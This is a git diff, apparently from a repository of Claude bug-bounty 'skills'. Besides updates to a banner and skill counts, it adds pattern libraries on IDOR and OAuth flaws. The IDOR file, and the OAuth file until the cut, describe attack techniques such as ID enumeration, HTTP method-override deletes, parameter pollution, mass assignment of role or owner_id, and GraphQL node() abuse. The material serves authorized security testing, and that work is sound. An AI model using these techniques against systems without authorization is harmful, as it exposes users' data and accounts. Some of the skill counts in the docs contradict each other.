x="-26" y="-26" width="52" height="52"/>+ <text x="40" y="4" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">RCE</text>+ </g>+ <!-- E-dn: SSRF -->+ <g transform="translate(335, 60)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="40" y="4" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">SSRF</text>+ </g>+ <!-- SE: OAuth -->+ <g transform="translate(215, 165)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="46" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">OAuth</text>+ </g>+ <!-- S: IDOR -->+ <g transform="translate(0, 245)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="46" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">IDOR</text>+ </g>+ <!-- SW: SSTI -->+ <g transform="translate(-215, 165)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="46" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">SSTI</text>+ </g>+ <!-- W: Cloud -->+ <g transform="translate(-335, 0)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="-40" y="4" text-anchor="end" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">Cloud</text>+ </g>+ <!-- NW: MFA -->+ <g transform="translate(-215, -165)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="-38" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">MFA</text>+ </g>++ <!-- Distant "detected" markers (further out, no full reticles) -->+ <use href="#bugDetected" x="-296" y="-180" width="22" height="22"/>+ <use href="#bugDetected" x="290" y="-200" width="22" height="22"/>+ <use href="#bugDetected" x="280" y="220" width="22" height="22"/>+ <use href="#bugDetected" x="-310" y="200" width="22" height="22"/>+<!-- Atmospheric particles -->- <g fill="#FFB591" opacity="0.6">- <circle cx="-180" cy="-90" r="1.2"/>- <circle cx="170" cy="-160" r="1"/>- <circle cx="-220" cy="80" r="1.3"/>- <circle cx="-50" cy="-230" r="1"/>- <circle cx="230" cy="-40" r="1"/>- <circle cx="-130" cy="200" r="1.1"/>- <circle cx="80" cy="240" r="0.9"/>+ <g fill="#FFB591" opacity="0.65">+ <circle cx="-260" cy="-90" r="1.2"/>+ <circle cx="250" cy="-130" r="1"/>+ <circle cx="-100" cy="-300" r="1.3"/>+ <circle cx="120" cy="-280" r="0.9"/>+ <circle cx="-220" cy="80" r="1.1"/>+ <circle cx="180" cy="285" r="1"/></g></g>- <!-- ============================== TITLE BLOCK (right) ============================== -->- <g transform="translate(940, 0)">- <!-- Hairline accent above title -->- <line x1="0" y1="252" x2="48" y2="252" stroke="#DA7756" stroke-width="3"/>- <text x="58" y="258" font-size="11" letter-spacing="4"- font-family="ui-monospace, monospace" fill="#DA7756" font-weight="700">A CLAUDE SKILL</text>+ <!-- ============================================================ -->+ <!-- TITLE BLOCK — right side -->+ <!-- ============================================================ -->+ <g transform="translate(960, 0)">+ <!-- A CLAUDE SKILL chip -->+ <g transform="translate(0, 222)">+ <line x1="0" y1="0" x2="46" y2="0" stroke="#DA7756" stroke-width="3"/>+ <circle cx="58" cy="0" r="3.6" fill="#DA7756"/>+ <text x="74" y="5" font-size="12" letter-spacing="5"+ font-family="ui-monospace, monospace" fill="#DA7756" font-weight="700">A CLAUDE SKILL</text>+ <text x="280" y="5" font-size="11" letter-spacing="3"+ font-family="ui-monospace, monospace" fill="#807565">· HUNT-MODE ACTIVE</text>+ </g>- <!-- Wordmark — single text element so the slash flows naturally -->- <text y="365" font-size="96" font-weight="800"+ <!-- Massive wordmark, stacked for punch -->+ <text y="340" font-size="108" font-weight="900"font-family="ui-sans-serif, -apple-system, 'Segoe UI', Inter, sans-serif"- letter-spacing="-3">- <tspan x="0" fill="#F5F4EE">claude</tspan><tspan dx="14" fill="#DA7756" font-weight="300">/</tspan><tspan dx="14" fill="#DA7756">bughunter</tspan>- </text>+ letter-spacing="-4" fill="#F5F4EE">claude</text>++ <text y="456" font-size="108" font-weight="900"+ font-family="ui-sans-serif, -apple-system, 'Segoe UI', Inter, sans-serif"+ letter-spacing="-4" fill="url(#titleGrad)" filter="url(#softGlow)">bughunter</text>- <!-- Underline accent under bughunter -->- <line x1="350" y1="382" x2="850" y2="382" stroke="#DA7756" stroke-width="2" opacity="0.55"/>+ <!-- Accent hairline under bughunter -->+ <line x1="0" y1="474" x2="640" y2="474" stroke="#DA7756" stroke-width="2"/>- <!-- One-line tagline -->- <text x="0" y="430" font-size="22"+ <!-- Punchy tagline -->+ <text x="0" y="518" font-size="22"font-family="ui-sans-serif, -apple-system, 'Segoe UI', Inter, sans-serif"- fill="#C5BEB0">- Turns Claude into a senior bug-bounty researcher.+ fill="#C5BEB0" letter-spacing="0.2">+ Senior bug-bounty researcher reflexes, on tap.</text>- <!-- Stats line (just enough to set the scale, README has the rest) -->- <g font-family="ui-monospace, 'SF Mono', Menlo, monospace" font-size="13" letter-spacing="2.5">- <text x="0" y="478" fill="#807565">▸</text>- <text x="22" y="478" fill="#F5F4EE">40 skills</text>- <text x="118" y="478" fill="#807565">·</text>- <text x="138" y="478" fill="#F5F4EE">24 vuln classes</text>- <text x="296" y="478" fill="#807565">·</text>- <text x="316" y="478" fill="#F5F4EE">574+ disclosed reports</text>- <text x="540" y="478" fill="#807565">·</text>- <text x="560" y="478" fill="#F5F4EE">6-phase workflow</text>+ <!-- Stat pills (widened, generous padding) -->+ <g font-family="ui-monospace, 'SF Mono', Menlo, monospace" font-size="12" letter-spacing="2">+ <g transform="translate(0, 568)">+ <rect x="0" y="-18" width="130" height="28" rx="2" fill="none" stroke="#DA7756" stroke-width="1"/>+ <text x="65" y="1" text-anchor="middle" fill="#F5F4EE" font-weight="700">40 SKILLS</text>+ </g>+ <g transform="translate(142, 568)">+ <rect x="0" y="-18" width="190" height="28" rx="2" fill="none" stroke="#DA7756" stroke-width="1"/>+ <text x="95" y="1" text-anchor="middle" fill="#F5F4EE" font-weight="700">24 VULN CLASSES</text>+ </g>+ <g transform="translate(344, 568)">+ <rect x="0" y="-18" width="270" height="28" rx="2" fill="none" stroke="#DA7756" stroke-width="1"/>+ <text x="135" y="1" text-anchor="middle" fill="#F5F4EE" font-weight="700">574+ DISCLOSED REPORTS</text>+ </g>+ <g transform="translate(626, 568)">+ <rect x="0" y="-18" width="210" height="28" rx="2" fill="none" stroke="#DA7756" stroke-width="1"/>+ <text x="105" y="1" text-anchor="middle" fill="#F5F4EE" font-weight="700">6-PHASE WORKFLOW</text>+ </g></g></g>- <!-- ============================== BOTTOM STRIP ============================== -->+ <!-- ============================================================ -->+ <!-- BOTTOM STRIP -->+ <!-- ============================================================ --><g font-family="ui-monospace, 'SF Mono', Menlo, monospace" font-size="11" letter-spacing="3"><text x="58" y="678" fill="#807565">▸ INVOKE :</text>- <text x="148" y="678" fill="#F5F4EE">drop into ~/.claude/skills · auto-triggers on topic</text>+ <text x="146" y="678" fill="#F5F4EE">drop into ~/.claude/skills · auto-triggers on topic</text>+ <text x="900" y="678" fill="#807565">·</text>+ <text x="922" y="678" fill="#C5BEB0">recon · triage · validate · chain · capture · report</text><text x="1862" y="678" text-anchor="end" fill="#DA7756" letter-spacing="6" font-weight="700">SHIP IT</text></g></svg>diff --git a/assets/capability-map.svg b/assets/capability-map.svgindex bcb3ad5..cbd2470 100644--- a/assets/capability-map.svg+++ b/assets/capability-map.svg@@ -1,4 +1,4 @@-<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1920 1100" width="1920" height="1100" role="img" aria-label="Claude-BugHunter Capability Map — 3-layer architecture with 40 skills">+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1920 1100" width="1920" height="1100" role="img" aria-label="Claude-BugHunter Capability Map — 3-layer architecture with 51 skills"><defs><linearGradient id="cm-bg" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#0a0a0e"/>diff --git a/docs/architecture.md b/docs/architecture.mdindex bc43bf1..2b6ba68 100644--- a/docs/architecture.md+++ b/docs/architecture.md@@ -4,17 +4,17 @@ The Claude-BugHunter bundle maps to a 6-phase workflow that supports both bug hu## Primary view — phase-by-phase architecture-54 skills mapped to 6 phases, with a 27-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer, integration layer, and usage decision tree. This is the main reference for "which skill do I use when?".+51 skills mapped to 6 phases, with a 24-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer, integration layer, and usage decision tree. This is the main reference for "which skill do I use when?".-> The architecture SVG predates the May 2026 red-team expansion and still shows the 40-skill / 24-hunt-* view. A refreshed diagram covering the new enterprise-platform and red-team-tradecraft layers is in the roadmap.+> The architecture SVG still shows the original 40-skill / 24-hunt-* view from before the May-2026 red-team expansion. The hunt count happens to match again after dedup, but the SVG is missing the enterprise-platform and red-team-tradecraft layers. Refresh is in the roadmap.-The "Source" column in the per-phase tables below tags each skill: **`original`** = author's work in this repo, `vendored` = from [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) (MIT). 46 of 54 skills are original; 8 are vendored.+The "Source" column in the per-phase tables below tags each skill: **`original`** = author's work in this repo, `vendored` = from [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) (MIT). 46 of 51 skills are original; 8 are vendored.## Alternate view — 3-layer capability stack-The same 54 skills, regrouped by **role in an engagement** rather than by phase. Methodology + Recon (bottom) feeds the Hunt Arsenal (middle), which produces findings that flow up through Ship It (top) to a paid submission or client deliverable.+The same 51 skills, regrouped by **role in an engagement** rather than by phase. Methodology + Recon (bottom) feeds the Hunt Arsenal (middle), which produces findings that flow up through Ship It (top) to a paid submission or client deliverable.@@ -56,12 +56,12 @@ The 6-phase workflow expanded into a pipeline showing per-phase active skills, t| Skill | Source | Purpose ||---|---|---|-| **27 `hunt-*` skills** | original | One per vuln class, curated from disclosed H1 reports — auto-trigger by topic |+| **24 `hunt-*` skills** | original | One per vuln class, curated from disclosed H1 reports — auto-trigger by topic || `security-arsenal` | vendored | Payload library (XSS / SSRF / SQLi / SSTI / etc.) || `web3-audit` | vendored | Smart-contract audit (10 bug classes, Foundry PoC) || `meme-coin-audit` | vendored | Token rug-pull detection |-### Per-class hunt skills (27)+### Per-class hunt skills (24)```hunt-rce (67 reports) hunt-business-logic (7)@@ -80,7 +80,7 @@ hunt-aspnet ★new hunt-sharepoint ★newhunt-ntlm-info ★new```-Plus alternates: `hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`. Plus the meta-router `hunt-dispatch` (used internally by the `/hunt` slash command — not user-invoked).+Plus alternates: `hunt-cache-poison`, `hunt-race-condition`, `hunt-subdomain`. Plus the meta-router `hunt-dispatch` (used internally by the `/hunt` slash command — not user-invoked).**Total disclosed reports curated**: 574+ (plus enterprise CVE catalogues that aren't measured in H1-report counts)diff --git a/docs/credits.md b/docs/credits.mdindex 03e626c..f7c5611 100644--- a/docs/credits.md+++ b/docs/credits.md@@ -10,18 +10,18 @@ This is a **bundle**: skills and commands are vendored directly into `skills/` a| Category | Count | Source ||---|---|---|-| **Original / personally-curated skills** | 46 | This repo |+| **Original / personally-curated skills** | 43 | This repo || Vendored foundation skills | 8 | shuvonsec/claude-bug-bounty (MIT) || Vendored slash commands | 15 | shuvonsec/claude-bug-bounty (MIT) |-| **Total** | 54 skills + 15 commands | |+| **Total** | 51 skills + 15 commands | |---## Original work in this repo-### 27 per-class `hunt-*` skills — curated from disclosed HackerOne reports and engagement data+### 24 per-class `hunt-*` skills — curated from disclosed HackerOne reports and engagement data-Each `hunt-*` skill codifies detection patterns, payloads, and chain templates derived from real disclosed HackerOne reports (24 skills) plus three additional skills (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`) built from a May 2026 authorized engagement against an on-prem SharePoint 2013 farm. The selection of report sets, the curation of what to extract, and the resulting skill content are the author's work, with content derived from publicly disclosed bug-bounty reports (HackerOne's public disclosures are intended for community learning) and authorized-engagement observations.+Each `hunt-*` skill codifies detection patterns, payloads, and chain templates derived from real disclosed HackerOne reports (21 skills) plus three additional skills (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`) built from a May 2026 authorized engagement against an on-prem SharePoint 2013 farm. The selection of report sets, the curation of what to extract, and the resulting skill content are the author's work, with content derived from publicly disclosed bug-bounty reports (HackerOne's public disclosures are intended for community learning) and authorized-engagement observations.The shuvonsec/public-skills-builder generator tool was used as scaffolding to produce skill files from the curated report sets — the tool is acknowledged as inspiration/scaffolding (see "Tooling" below), but the content is the author's curation work.@@ -44,7 +44,7 @@ The shuvonsec/public-skills-builder generator tool was used as scaffolding to pr| `hunt-race-condition` | 3 || **Total disclosed reports curated** | **574+** |-Plus 12 additional `hunt-*` skills curated by topic without an explicit report-count tag: `hunt-saml`, `hunt-ato`, `hunt-mfa-bypass`, `hunt-http-smuggling`, `hunt-ssti`, `hunt-file-upload`, `hunt-api-misconfig`, `hunt-cloud-misconfig`, `hunt-llm-ai`, plus three engagement-derived (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`), plus alternates (`hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`), plus the meta-router `hunt-dispatch`.+Plus 12 additional `hunt-*` skills curated by topic without an explicit report-count tag: `hunt-saml`, `hunt-ato`, `hunt-mfa-bypass`, `hunt-http-smuggling`, `hunt-ssti`, `hunt-file-upload`, `hunt-api-misconfig`, `hunt-cloud-misconfig`, `hunt-llm-ai`, plus three engagement-derived (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`), plus alternates (`hunt-cache-poison`, `hunt-race-condition`, `hunt-subdomain`), plus the meta-router `hunt-dispatch`.### Other personal skills@@ -78,7 +78,7 @@ Built from two paid May-2026 red-team engagements (redacted-client — a large e### Tooling and docs- **`hunt <target>` shell command** — Engagement-folder scaffolding: creates `~/Targets/<name>/` with `CLAUDE.md`, `scope.md`, `findings/`, `evidence/`, `submissions.txt`, `notes.md`, and a sensible `.gitignore` for engagement artifacts.-- **Bundle packaging** — Single-step installer (`scripts/install.sh`) that copies all 54 skills, 15 commands, and the hunt scaffold into `~/.claude/`.+- **Bundle packaging** — Single-step installer (`scripts/install.sh`) that copies all 51 skills, 15 commands, and the hunt scaffold into `~/.claude/`.- **`assets/banner.svg`** — Hand-coded SVG banner.- **Documentation** — `README.md`, `INSTALL.md`, `USAGE.md`, `CONTRIBUTING.md`, `docs/architecture.md`, this credits file.diff --git a/docs/disclosed-reports/hunt-idor.md b/docs/disclosed-reports/hunt-idor.mdnew file mode 100644index 0000000..53a092f--- /dev/null+++ b/docs/disclosed-reports/hunt-idor.md@@ -0,0 +1,149 @@+# hunt-idor — Pattern Library++> Patterns and verifiable public examples behind `hunt-idor`. Operator-grade reference, not a complete enumeration. Cited examples here are general, widely-discussed classes rather than specific report numbers because the IDOR space is dominated by hundreds of nearly-identical reports against many programs — the *pattern shape* is the operator value, not any single citation.++IDOR is the workhorse of bug bounty. It pays consistently because the proof is direct (you read or modify another user's data with your own session) and the impact translates immediately to PII exposure, financial fraud, or account takeover. The patterns below cluster around the primitives that recur in real disclosures: predictable identifiers, HTTP-method swaps, JSON-field smuggling, array-wrapping, and GraphQL resolver gaps. Every entry includes the validation that separates a true IDOR from a "200 OK that didn't actually leak anything."++## Cited Public Examples++### Numeric sequential ID IDOR (industry-wide class)+- **Source:** A class of bugs disclosed against many HackerOne programs over more than a decade. Cite the *class* — operator-known and discussed in OWASP guidance, the OWASP API Security Top 10 (where it is BOLA / Broken Object Level Authorization), and conference talks at AppSecUSA / DEF CON over multiple years.+- **Pattern shape:** Application exposes an object via a numerically incrementing identifier (`/api/orders/12345`, `/invoices/87432.pdf`, `/messages/9821`). Access control is checked at the route level ("must be authenticated") but not at the object level ("user must own object 12345"). Incrementing or guessing the ID returns another user's object.+- **Key trick:** The fix is *always* "add an ownership check at the resolver." The bug recurs because the default ORM query (`Order.find(params[:id])`) returns by primary key, and the developer forgets to scope by `current_user`.+- **Why it matters:** This is still the most common IDOR pattern. Operators should never accept "but the ID is random" as a defense — randomness only raises the cost of enumeration, not the existence of the bug.++### GraphQL `node()` resolver IDOR (industry pattern)+- **Source:** GraphQL Relay specification implementations across many programs. Discussed in HackerOne disclosed reports against multiple major SaaS programs and in conference talks on GraphQL security.+- **Pattern shape:** Relay-style GraphQL APIs expose a global `node(id: ID!)` resolver that takes a base64-encoded global ID and returns the matching object. The decoded ID has the shape `TypeName:numeric_id` (e.g., `T3JkZXI6MTIzNDU=` decodes to `Order:12345`). The route-level auth applies, but the resolver does not scope by viewer.+- **Key trick:** Even if the application's normal API enforces ownership through other resolvers (`viewer.orders`), the `node()` resolver is a backdoor that returns any object of any type by global ID.+- **Why it matters:** Operators auditing GraphQL targets must always probe `node()` (and its plural form `nodes()`) with cross-tenant IDs before declaring the schema safe.++### Mass-assignment as authorization bypass+- **Source:** OWASP API Security Top 10 (API3: Excessive Data Exposure / API6: Mass Assignment, depending on version). Documented in many disclosed reports and Rails / Django security advisories over a decade.+- **Pattern shape:** Application accepts a JSON body on a profile / settings / account endpoint and merges it into the user object. The expected fields are `name`, `email`. The attacker adds `role: "admin"`, `is_verified: true`, `email_verified_at: "2024-01-01"`, `owner_id: <victim>`. Server applies all fields blindly.+- **Key trick:** This is an IDOR variant where the "object" being illegitimately modified is the *attacker's own* user record, but the modification crosses an authorization boundary (role, verification state, organization membership).+- **Why it matters:** Sits at the boundary of IDOR and API misconfig. Pays because the chain reaches privilege escalation in one request.++### UUID guess via timestamp-based UUIDv1+- **Source:** RFC 4122 documents UUID structure publicly; CVE-2025 disclosures and several bug-bounty write-ups have documented UUIDv1's timestamp-leakage property. Cite RFC 4122 and the class.+- **Pattern shape:** Target uses `UUIDv1` (timestamp + MAC-derived node ID). The first 60 bits encode the generation time at 100ns resolution; the node ID is often stable across the application's hosts. An attacker who can observe a few legitimate UUIDs can narrow the timestamp window of unseen UUIDs and brute-force them with a manageable search space.+- **Key trick:** "UUID" is not synonymous with "random." UUIDv1, v2, and even some custom "UUID-like" schemes leak structural information. Only v4 (random) and v7 (timestamp + random tail) are safe-by-default, and v7 still leaks creation time.+- **Why it matters:** Operators inheriting a target where IDs "look random" should always decode a few UUIDs and check the version nibble before deciding enumeration is infeasible.++---++## Pattern Library++### Sequential numeric ID enumeration+- **When to suspect:** URLs / API responses contain `id=1234`, `order=5678`, `/users/9012`. Multiple successive operations show consecutive integers.+- **Test:** From your own session, GET `/api/orders/<your_id - 1>`, `/api/orders/<your_id + 1>`, walk the range with Burp Intruder or a curl loop. Compare response bodies for variation.+- **Validation:** A response containing data tied to a *different user* — name, email, address, payment method that you cannot have written yourself. Open a second test account to confirm cross-account read.+- **Pay-grade rationale:** Medium to high. Higher when the leaked data is PII, financial, or chained with PII for fraud.++### UUID enumeration via predictable construction+- **When to suspect:** "UUIDs" in URLs that are not pure random. Decode the version nibble — character 14 of the canonical UUID is `1` (UUIDv1), `4` (UUIDv4), `7` (UUIDv7), etc.+- **Test:** Collect ~20 UUIDs from legitimate flows (your own account creation, observable in admin UI). Plot timestamps to derive the per-instance counter, and brute-force adjacent UUIDs.+- **Validation:** Successful fetch of an unknown UUID's object with cross-account data.+- **Pay-grade rationale:** Medium to high.++### HTTP method swap (GET ↔ POST ↔ PUT ↔ DELETE)+- **When to suspect:** Application uses a REST-y URL scheme, GET is auth-checked but PUT/DELETE on the same path uses different middleware.+- **Test:** For each ID-bearing endpoint, also try `OPTIONS`, `HEAD`, `POST`, `PUT`, `PATCH`, `DELETE`, `TRACE` against the same URL. Some routers dispatch to different handlers per method, and not all handlers receive the auth middleware.+- **Validation:** PUT/DELETE succeeds against another user's resource (status 200/204 with the resource modified). Confirm with a follow-up GET.+- **Pay-grade rationale:** High. Write-IDOR is more impactful than read-IDOR.++### `X-HTTP-Method-Override` header+- **When to suspect:** Framework supports the override header (older Rails, some Java stacks, some Node middleware).+- **Test:** Send `POST /api/users/<victim>` with header `X-HTTP-Method-Override: DELETE` (or `_method=DELETE` in form body, or `?_method=DELETE`).+- **Validation:** Resource modified despite original method being POST.+- **Pay-grade rationale:** High when reachable.++### Array-wrap parameter (parameter pollution)+- **When to suspect:** API accepts an ID parameter and you suspect ownership check uses simple equality (`if record.user_id == current_user.id`).+- **Test:** Send `id=<your_id>&id=<victim_id>` (HTTP parameter pollution — last-wins or first-wins differs by stack). Or JSON `{"id": ["your_id", "victim_id"]}` if the endpoint accepts JSON. Or `id[]=victim_id` in a URL-encoded body to make the parameter an array.+- **Validation:** The ownership check passes (you supplied your own ID first) but the underlying query operates on the second ID. Response contains victim's data.+- **Pay-grade rationale:** High. Demonstrates a TOCTOU-style auth bypass.++### Hidden numeric field in JSON body+- **When to suspect:** Endpoint accepts a JSON body that omits an ID field in normal requests; the server infers ownership from session. Suspect that adding an explicit ID field overrides the session-derived owner.+- **Test:** Add `"owner_id": <victim>`, `"user_id": <victim>`, `"account_id": <victim>`, `"organization_id": <victim>` to JSON bodies on settings / profile / resource-create endpoints.+- **Validation:** Action takes effect on the victim's account.+- **Pay-grade rationale:** High to critical when reaching role/ownership state.++### GraphQL `node()` / `nodes()` resolver+- **When to suspect:** GraphQL endpoint that follows Relay conventions (`__typename`, `id`-as-global-ID, edge/connection types).+- **Test:** Decode a known global ID (base64 → `TypeName:numeric`), modify the numeric, re-encode, and query `node(id: "<new>") { __typename ... on TypeName { sensitive_field } }`.+- **Validation:** Returns another user's object via the global node resolver despite the type-specific resolver having proper auth.+- **Pay-grade rationale:** High.++### GraphQL alias-based batching for enumeration+- **When to suspect:** GraphQL endpoint with no per-request rate limit; you find an IDOR in a single resolver.+- **Test:** Build a single query with N aliased calls — `q1: user(id: 1) { email } q2: user(id: 2) { email } ...` — to enumerate ranges in one HTTP request, bypassing rate limits.+- **Validation:** Single query returns N records.+- **Pay-grade rationale:** Amplifies an underlying IDOR; pays incrementally for the bypass.++### Path-traversal-style IDOR (`/users/me` → `/users/<id>`)+- **When to suspect:** Application has a `/me`-style alias that maps to the current user; suspect it's a thin wrapper over `/users/<id>` with a session-derived ID.+- **Test:** GET `/api/users/me`, observe the redirect or response. Then GET `/api/users/<victim_id>` directly with your own session.+- **Validation:** Direct access succeeds.+- **Pay-grade rationale:** Medium to high.++### Filename-IDOR in download endpoints+- **When to suspect:** `/invoices/download?file=invoice_12345.pdf`, `/exports/2024/report-<id>.csv`.+- **Test:** Increment, predict pattern, or enumerate the file name. If the download is served directly by filename without ownership check, you read other users' files.+- **Validation:** Cross-account file downloaded.+- **Pay-grade rationale:** High; commonly PII-heavy.++### Tenant-ID swap in multi-tenant SaaS+- **When to suspect:** URLs contain a tenant slug or ID (`/orgs/acme/users`, `/api/tenants/123/billing`). Tenant ID derives from URL, not from session.+- **Test:** Substitute another tenant's slug/ID in the URL. Some applications check that *you are authenticated* but not that *you belong to the requested tenant*.+- **Validation:** Cross-tenant data returned.+- **Pay-grade rationale:** Critical when reached. Cross-tenant data leakage is a top concern for SaaS programs.++### IDOR via response-shape difference (timing or size oracle)+- **When to suspect:** Endpoint always returns 200 OK regardless of authorization, but the response *body size* differs between authorized and unauthorized objects (one returns `{}`, the other returns full record).+- **Test:** Walk IDs, compare response sizes. Even when sensitive fields are stripped, the presence/absence of the record is itself information.+- **Validation:** Distinguishable response between valid-cross-user and invalid IDs. Even existence-disclosure is reportable as enumeration.+- **Pay-grade rationale:** Low to medium standalone; useful as a chain primitive.++### IDOR via webhook / callback endpoints+- **When to suspect:** Application calls user-supplied webhooks with payloads containing IDs (notifications, integration events). The webhook receiver might be attacker-controlled, but the *triggered action* still affects an internal resource.+- **Test:** Configure a webhook in your own account, trigger an event referencing a victim's resource ID, observe whether the system processes the event against the victim's data.+- **Validation:** Webhook fires and victim-side state changes.+- **Pay-grade rationale:** High when reachable.++### IDOR via "share" or "invite" link reuse+- **When to suspect:** Application generates share/invite tokens that look random but are guessable, sequential, or never expire.+- **Test:** Generate a share link for your own resource, observe the token format. Brute-force or predict other tokens. Test that tokens granting collaboration on object A don't also grant access to object B in the same tenant.+- **Validation:** Cross-resource access via predicted/leaked token.+- **Pay-grade rationale:** Medium to high.++### IDOR through caching layer (proxy / CDN)+- **When to suspect:** Response cached at a layer that doesn't account for user identity (cache key omits the user dimension). A user fetches `/api/profile`, response cached, second user fetches same URL, gets first user's data.+- **Test:** Two concurrent users, identical URL, observe `Cache-Control` and `Vary` headers in responses. If `Vary` lacks user-distinguishing headers (`Authorization` or session cookies), the cache can poison cross-user.+- **Validation:** Second user sees first user's data without authentication context.+- **Pay-grade rationale:** Critical when reproducible. See also `hunt-cache-poisoning`.++---++## Anti-Patterns (FP traps)++### 200 OK without actually leaked data+- **Looks like:** You GET `/api/orders/<victim_id>` and the server returns 200.+- **Actually is:** Many APIs return 200 with an empty or sanitized response (`{"items": []}`, `{"error": "not found"}`) when authorization fails. The status code alone is not the proof.+- **How to disprove:** Compare body against an authorized response. If the unauthorized response carries no victim-identifiable data, no IDOR — just a soft-fail UX. Open a second test account, write distinctive data into it, and confirm you can read it across sessions.++### Permission check passes but you can't actually read victim data+- **Looks like:** You craft an IDOR request, the server returns 200 with data, and you assume the data is the victim's.+- **Actually is:** The data might be *your own*, served via the unsanitized parameter but resolved against your session's ownership. The endpoint scopes to your session under the hood despite accepting an attacker-supplied ID.+- **How to disprove:** Use a fresh victim account whose data is uniquely tagged (e.g., username `victim-<uuid>`, profile field `marker-<uuid>`). If the IDOR response doesn't contain that marker, you're reading your own scoped data, not victim data.++### Cached response from your own previous session+- **Looks like:** You browse `/api/users/<victim_id>` and see victim data.+- **Actually is:** Your browser or an intermediate proxy cached a *legitimate* response from when you were administering the victim (e.g., during impersonation testing), and now you're seeing the cached copy.+- **How to disprove:** Clear cache, run a fresh incognito session, and reproduce. If the IDOR no longer reproduces, the original observation was a stale cache, not a live IDOR.++### "Sensitive fields" already public+- **Looks like:** You read another user's profile object and see their email / username / display name.+- **Actually is:** Many platforms intentionally expose username and display name publicly. If the leaked fields are already discoverable on the user's public profile page, the "IDOR" is just the public API doing what it should.+- **How to disprove:** Compare leaked fields against the public profile page. If everything you can fetch via the IDOR is already public, no privacy boundary was crossed — the bug is N/A. Look for additional fields (email, phone, billing, internal flags) before reporting.diff --git a/docs/disclosed-reports/hunt-oauth.md b/docs/disclosed-reports/hunt-oauth.mdnew file mode 100644index 0000000..aa798e6--- /dev/null+++ b/docs/disclosed-reports/hunt-oauth.md@@ -0,0 +1,155 @@+# hunt-oauth — Pattern Library++> Patterns and verifiable public examples behind `hunt-oauth`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, IETF RFCs, OAuth/OIDC security BCP documents, and conference research.++OAuth flaws pay top-tier bounties because they bridge the gap between "a small client-side mistake" and "permanent account takeover." The patterns below cluster around the primitives that recur in real disclosures: `redirect_uri` parser mismatches, missing `state` enforcement, implicit-flow token leaks, PKCE downgrade, account-linking confused-deputies, and scope creep. Every entry includes the specific HTTP request shape because OAuth is a multi-step dance and the bug is usually in *one specific request* of the seven that comprise a flow.++## Cited Public Examples++### PortSwigger OAuth flaw research (Daniel Thatcher and others)+- **Source:** PortSwigger Research, body of work on OAuth/OIDC vulnerabilities. Topics include redirect_uri parser inconsistencies, the OAuth 2.0 Authorization Server Issuer Identification work, mix-up attacks, and PKCE downgrade. Searchable at portswigger.net/research; cite the program of research.+- **Pattern shape:** Multi-part research demonstrating that OAuth/OIDC specifications give substantial latitude to implementations — and that *every* point of latitude has been the source of at least one real-world vulnerability. The redirect_uri validation surface alone has produced dozens of bypass variants because spec-permitted normalization differs across libraries.+- **Key trick:** The vulnerabilities are rarely cryptographic. They sit in URL parsing, state binding, scope handling, and the trust boundary between the IdP and the relying party. Operators auditing OAuth flows benefit more from a checklist of state-machine transitions than from any single payload.+- **Why it matters:** This body of work is the practical operator's manual for OAuth bug hunting. Every pattern below traces back to a primitive documented in this research line.++### OAuth 2.0 Security Best Current Practice (RFC 9700) and Threat Model (RFC 6819)+- **Source:** IETF RFC 9700 (2025), RFC 6819, and the OAuth 2.0 for Browser-Based Apps BCP. Publicly available at ietf.org. These documents enumerate the threat catalogue the operator should be testing for.+- **Pattern shape:** Each RFC chapter describes a class of attack and the mitigation. Operators can read the RFC like a hunt checklist — for each "MUST" or "SHOULD" in the spec, ask "does this target enforce it?"+- **Key trick:** Reading the spec backwards. Every "MUST" in the BCP exists because someone got bitten by the absence of that requirement. The bugs are still out there in implementations that haven't caught up.+- **Why it matters:** Authoritative reference. When triage pushes back on a finding ("is this really a vulnerability?"), citing the RFC normative requirement is the cleanest demonstration.++### CVE-2025 class of OAuth redirect_uri bypasses (industry pattern)+- **Source:** Across many programs and CVEs over the past several years, redirect_uri bypasses have been disclosed publicly. The class is documented in OAuth security advisories from major IdPs (Google, Microsoft, Auth0, Okta) and in conference talks at OWASP / Black Hat / DEF CON. Cite the *class* and the spec language; specific report numbers vary.+- **Pattern shape:** Authorization server accepts a `redirect_uri` parameter that differs from the registered URI by a path suffix, a fragment, a query string, a subdomain, or via a parser quirk (`@`-userinfo, IDN homoglyph, case insensitivity, trailing slash). The authorization code is then issued and redirected to the attacker-controlled URI.+- **Key trick:** Spec-compliant *exact* matching of redirect_uri 